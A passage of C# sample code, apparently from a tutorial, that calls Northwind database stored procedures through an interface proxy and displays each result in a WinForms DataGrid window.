typeof(INorthwindStoredProcedures),conn,null);

                
//调用储存过程并且显示

                ShowData(
"CustOrderHist ALFKI",nsp.CustOrderHist("ALFKI"));

                ShowData(
"Employee Sales By Country",nsp.EmployeeSalesByCountry(new DateTime(1998,1,1),new DateTime(1999,1,1)));

            }

        }


        
static void ShowData(string title,object data)
        
{
            Form f
=new Form();
            f.Width
=600;
            f.Height
=480;
            f.Text
=title;

            DataGrid grid
=new DataGrid();            
            grid.Dock
=DockStyle.Fill;
            grid.DataSource
=data;

            f.Controls.Add(grid);
            f.ShowDialog();
        }


    }